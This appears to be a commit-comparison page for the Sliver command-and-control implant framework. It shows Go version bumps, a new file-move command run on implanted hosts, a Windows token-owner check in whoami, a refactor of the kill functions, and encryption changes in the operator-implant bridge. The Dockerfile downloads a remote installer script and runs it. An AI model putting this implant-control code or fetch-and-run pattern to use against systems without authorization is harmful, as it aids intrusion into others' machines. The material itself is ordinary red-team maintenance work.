mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
41
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
291fcf6dc3 | ||
|
|
93e772f5bf | ||
|
|
7f714621ea | ||
|
|
debee05136 | ||
|
|
f79a2892b7 | ||
|
|
b86e49d341 | ||
|
|
8e6a8035b2 | ||
|
|
0a8d4cb517 | ||
|
|
e098e3ec08 | ||
|
|
a89e52548d | ||
|
|
fe873b8d8e | ||
|
|
d0af0f5534 | ||
|
|
3cc982068a | ||
|
|
1073dedf10 | ||
|
|
e42e6be266 | ||
|
|
e43622606f | ||
|
|
59c642143d | ||
|
|
8f01ab216d | ||
|
|
062f89e768 | ||
|
|
03b470aec7 | ||
|
|
a74d6f6250 | ||
|
|
4f62f16a1d | ||
|
|
d4ec2203cb | ||
|
|
8309e7af14 | ||
|
|
68a270581f | ||
|
|
5e222411c8 | ||
|
|
727a40bc35 | ||
|
|
2038fbcfa3 | ||
|
|
9a5a3d161a | ||
|
|
4b4e7c82f2 | ||
|
|
2844ef91d3 | ||
|
|
cffbae3da7 | ||
|
|
35fa3c95b8 | ||
|
|
53afb01366 | ||
|
|
33401dcd18 | ||
|
|
f4fcbd9cdf | ||
|
|
3c864311fa | ||
|
|
6db7c42d47 | ||
|
|
004047308f | ||
|
|
c91c724912 | ||
|
|
23da56f5f9 |
No files matched your search
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -65,10 +65,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.17"
|
||||
go-version: "^1.18"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -6,6 +6,11 @@ on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -15,10 +20,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,10 +55,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+16
-16
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.8
|
||||
FROM golang:1.18
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,22 +6,22 @@ FROM golang:1.17.8
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.17.1
|
||||
ENV PROTOC_GEN_GO_VER v1.26.0
|
||||
ENV GRPC_GO v1.1.0
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
|
||||
@@ -23,7 +23,7 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
|
||||
@@ -46,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -62,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -558,6 +558,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
f.Bool("f", "force", false, "force session action without waiting for results")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -574,7 +575,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1630,6 +1631,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Filesystem ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.MvStr,
|
||||
Help: "Move or rename a file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("src", "path to source file")
|
||||
a.String("dst", "path to dest file")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
err := filesystem.MvCmd(ctx, con)
|
||||
return err
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LsStr,
|
||||
Help: "List current directory",
|
||||
@@ -2145,6 +2164,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill a beacon")
|
||||
f.Bool("K", "kill-all", false, "kill all beacons")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("f", "force", false, "force killing of the beacon")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
mv.Src, mv.Dst = src, dst
|
||||
|
||||
if mv.Response != nil && mv.Response.Async {
|
||||
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(mv.Response)
|
||||
} else {
|
||||
PrintMv(mv, con)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PrintMv - Print the renamed file
|
||||
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
|
||||
if mv.Response != nil && mv.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mv.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
|
||||
}
|
||||
@@ -5,8 +5,6 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
|
||||
@@ -19,10 +19,14 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var isWin bool
|
||||
con.Printf("Logon ID: ")
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.Username)
|
||||
if session.GetOS() == "windows" {
|
||||
isWin = true
|
||||
}
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.Username)
|
||||
if beacon.GetOS() == "windows" {
|
||||
isWin = true
|
||||
}
|
||||
}
|
||||
|
||||
if isWin {
|
||||
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if cto.Response != nil && cto.Response.Async {
|
||||
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, cto)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintTokenOwner(cto, con)
|
||||
})
|
||||
con.PrintAsyncResponse(cto.Response)
|
||||
} else {
|
||||
PrintTokenOwner(cto, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
|
||||
if cto.Response != nil && cto.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", cto.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Current Token ID: %s", cto.Output)
|
||||
}
|
||||
@@ -25,8 +25,8 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -89,7 +89,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
stage2 = util.EncryptStage(stage2, aesEncryptKey, aesEncryptIv)
|
||||
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -41,7 +42,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
err := KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
err := KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
core.Sessions.Remove(session.ID)
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
return err
|
||||
|
||||
|
||||
@@ -53,9 +53,11 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, session := range sessions.Sessions {
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
if !session.IsDead {
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
err = kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -51,7 +51,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if killAll {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -65,7 +65,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -81,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
|
||||
@@ -358,6 +358,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
filesystem.PrintLs(ls, flags, "", con)
|
||||
|
||||
case sliverpb.MsgMvReq:
|
||||
mv := &sliverpb.Mv{}
|
||||
err := proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
case sliverpb.MsgMkdirReq:
|
||||
mkdir := &sliverpb.Mkdir{}
|
||||
err := proto.Unmarshal(task.Response, mkdir)
|
||||
@@ -446,6 +454,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
privilege.PrintGetSystem(getSystem, con)
|
||||
|
||||
case sliverpb.MsgCurrentTokenOwnerReq:
|
||||
cto := &sliverpb.CurrentTokenOwner{}
|
||||
err := proto.Unmarshal(task.Response, cto)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
case sliverpb.MsgImpersonateReq:
|
||||
impersonateReq := &sliverpb.ImpersonateReq{}
|
||||
err := proto.Unmarshal(task.Response, impersonateReq)
|
||||
|
||||
@@ -167,6 +167,7 @@ const (
|
||||
ExecuteStr = "execute"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
RmStr = "rm"
|
||||
MkdirStr = "mkdir"
|
||||
CdStr = "cd"
|
||||
|
||||
@@ -21,6 +21,7 @@ package prelude
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
@@ -29,11 +30,11 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -73,7 +74,8 @@ func (a *OperatorImplantBridge) register() {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dataBuff := append(util.Encrypt(data), "\n"...)
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
|
||||
@@ -82,7 +84,8 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
dataBuff := append(util.Encrypt(data), "\n"...)
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
}
|
||||
@@ -98,7 +101,11 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
|
||||
func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
var tempBeacon OperatorBeacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
decoded, err := hex.DecodeString(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
|
||||
@@ -124,7 +124,6 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
|
||||
p.Lock()
|
||||
p.implantBridges = append(p.implantBridges, bridge)
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.8"
|
||||
GARBLE_VER="1.17.5"
|
||||
GO_VER="1.18"
|
||||
GARBLE_VER="1.18.0"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
|
||||
@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
|
||||
require (
|
||||
@@ -14,7 +11,7 @@ require (
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
@@ -34,38 +31,38 @@ require (
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-sqlite3 v1.14.9
|
||||
github.com/mattn/go-sqlite3 v1.14.12
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
|
||||
golang.org/x/text v0.3.6
|
||||
golang.zx2c4.com/wireguard v0.0.20200121
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
|
||||
google.golang.org/grpc v1.37.0
|
||||
google.golang.org/protobuf v1.26.0
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
|
||||
modernc.org/sqlite v1.14.3
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
